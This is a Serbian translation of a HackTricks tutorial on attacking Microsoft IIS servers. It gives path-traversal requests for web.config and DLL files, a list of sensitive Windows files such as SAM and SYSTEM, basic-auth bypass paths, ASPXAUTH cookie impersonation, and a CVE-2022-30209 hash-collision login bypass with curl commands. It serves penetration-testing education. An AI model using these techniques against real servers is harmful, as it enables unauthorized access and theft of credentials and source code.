18 KiB
IIS - Internet Information Services
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJEM!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
WhiteIntel
WhiteIntel je pretraživač pokretan dark-web-om koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane malvera za krađu podataka.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:
{% embed url="https://whiteintel.io" %}
Testirajte ekstenzije izvršnih fajlova:
- asp
- aspx
- config
- php
Otkrivanje interne IP adrese
Na bilo kom IIS serveru gde dobijete 302, možete pokušati da uklonite zaglavlje Host i koristite HTTP/1.0, a unutar odgovora zaglavlje Lokacija bi moglo da vas usmeri ka internoj IP adresi:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Odgovor koji otkriva internu IP adresu:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Izvršavanje .config datoteka
Možete otpremiti .config datoteke i koristiti ih za izvršavanje koda. Jedan način je dodavanje koda na kraj datoteke unutar HTML komentara: Preuzmite primer ovde
Više informacija i tehnike za iskorišćavanje ove ranjivosti ovde
IIS Otkrivanje Brute Force
Preuzmite listu koju sam kreirao:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Kreirana je spajanjem sadržaja sledećih lista:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Koristite je bez dodavanja bilo kakvog nastavka, datoteke koje ga zahtevaju već ga imaju.
Prolazak kroz putanju
Otkrivanje izvornog koda
Proverite kompletan opis u: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Kao sažetak, postoji nekoliko web.config datoteka unutar foldera aplikacije sa referencama na "assemblyIdentity" datoteke i "namespaces". Sa ovim informacijama je moguće znati gde se nalaze izvršne datoteke i preuzeti ih.
Iz preuzetih Dll-ova takođe je moguće pronaći nove namespaces gde biste trebali pokušati pristupiti i dobiti web.config datoteku kako biste pronašli nove namespaces i assemblyIdentity.
Takođe, datoteke connectionstrings.config i global.asax mogu sadržati zanimljive informacije.\
{% endhint %}
U .Net MVC aplikacijama, datoteka web.config igra ključnu ulogu tako što specifikuje svaku binarnu datoteku na koju se aplikacija oslanja putem "assemblyIdentity" XML oznaka.
Istraživanje binarnih datoteka
Primer pristupa web.config datoteci je prikazan ispod:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Ovaj zahtev otkriva različite postavke i zavisnosti, kao što su:
- Verzija EntityFramework-a
- AppSettings za web stranice, klijentsku validaciju i JavaScript
- Konfiguracije System.web za autentikaciju i runtime
- Postavke modula System.webServer
- Veze sklopova za izvršavanje za brojne biblioteke poput Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc
Ove postavke ukazuju da se određene datoteke, poput /bin/WebGrease.dll, nalaze unutar fascikle /bin aplikacije.
Datoteke u korenskom direktorijumu
Datoteke pronađene u korenskom direktorijumu, poput /global.asax i /connectionstrings.config (koji sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.
Prostori imena i Web.Config
MVC aplikacije takođe definišu dodatne web.config datoteke za specifične prostore imena kako bi se izbegla ponovna deklaracija u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge web.config datoteke:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Preuzimanje DLL-ova
Pomen prilagođenog imenskog prostora ukazuje na DLL nazvan "WebApplication1" koji se nalazi u direktorijumu /bin. Nakon toga, prikazan je zahtev za preuzimanje WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Ovo sugeriše prisustvo drugih bitnih DLL-ova, poput System.Web.Mvc.dll i System.Web.Optimization.dll, u /bin direktorijumu.
U scenariju gde DLL uvozi prostor imena nazvan WebApplication1.Areas.Minded, napadač može zaključiti postojanje drugih web.config fajlova na predvidljivim putanjama, poput /ime-oblasti/Views/, koji sadrže specifične konfiguracije i reference ka drugim DLL-ovima u /bin folderu. Na primer, zahtev za /Minded/Views/web.config može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo još jednog DLL-a, WebApplication1.AdditionalFeatures.dll.
Zajednički fajlovi
Sa ovde
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Грешка
Ако видите грешку као следећу:
Значи да сервер није примио тачно име домена у заглављу Домаћин.
Како бисте приступили веб страници, може бити корисно да погледате SSL сертификат и можда пронађете име домена/poddomena u njemu. Ако га тamo nema, можда ћете морати brute force VHosts док не пронађете тачан.
Старе IIS ранијivosti које вреди потражити
Microsoft IIS tilde karakter "~" Ranjivost/Funkcija – Otkrivanje Kratkih Imena Fajlova/Foldera
Можете покушати nabrajanje foldera i fajlova unutar свакog откривеног foldera (чак и ако захтева Основну Аутентикацију) користећи ovu tehniku.
Главно ограничење ове технике ако је сервер ranjiv је то што може пронаћи само до првих 6 слова имена сваког fajla/foldera и првих 3 слова екстензије fajlova.
Можете користити https://github.com/irsdl/IIS-ShortName-Scanner да тестирате ову ranjivost:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Originalno istraživanje: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Можете такође користити metasploit: use scanner/http/iis_shortname_scanner
Bypass Основне Аутентикације
Bypass основне аутентикације (IIS 7.5) покушавајући приступ: /admin:$i30:$INDEX_ALLOCATION/admin.php
или /admin::$INDEX_ALLOCATION/admin.php
Можете покушати pomešati ovu ranjivost и претходну да пронађете нове foldere и bypass аутентикацију.
ASP.NET Trace.AXD омогућено дебаговање
ASP.NET укључује режим дебаговања и његов фајл се зове trace.axd
.
Чува веома детаљан лог свих захтева направљених ка апликацији током одређеног временског периода.
Ове информације укључују удаљене клијентске IP адресе, идентификаторе сесија, све колачиће захтева и одговора, физичке путање, информације о изворном коду, и потенцијално чак и корисничка имена и лозinke.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Колачић
ASPXAUTH користи следеће информације:
validationKey
(string): heksadecimalni ključ koji se koristi za validaciju potpisa.decryptionMethod
(string): (podrazumevano “AES”).decryptionIV
(string): heksadecimalni inicijalizacioni vektor (podrazumevano vektor nula).decryptionKey
(string): heksadecimalni ključ koji se koristi za dešifrovanje.
Međutim, неки људи ће користити podrazumevane vrednosti за ове параметре и користиће као kolačić email korisnika. Стога, ако пронађете веб који користи исту платформу која користи ASPXAUTH колачић и креирате корисника са email-om korisnika кога желите да представите на серверу под нападом, можда ћете моћи да користите kolačić са другог серверa на првом и представите korisnika.
Овај напад је успео у овом izveštaju.
IIS Bypass аутентикације са кешираним лозinkama (CVE-2022-30209)
Целокупан извештај овде: Грешка у коду није исправно проверила лозinku коју је дао корисник, па ће нападач чија хеш лозинке погоди кључ који је већ у кеширању моћи да се пријави као тај корисник.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
WhiteIntel
WhiteIntel je pretraživač pokrenut na dark webu koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici ugroženi od malvera koji krade informacije.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:
{% embed url="https://whiteintel.io" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA ČLANSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.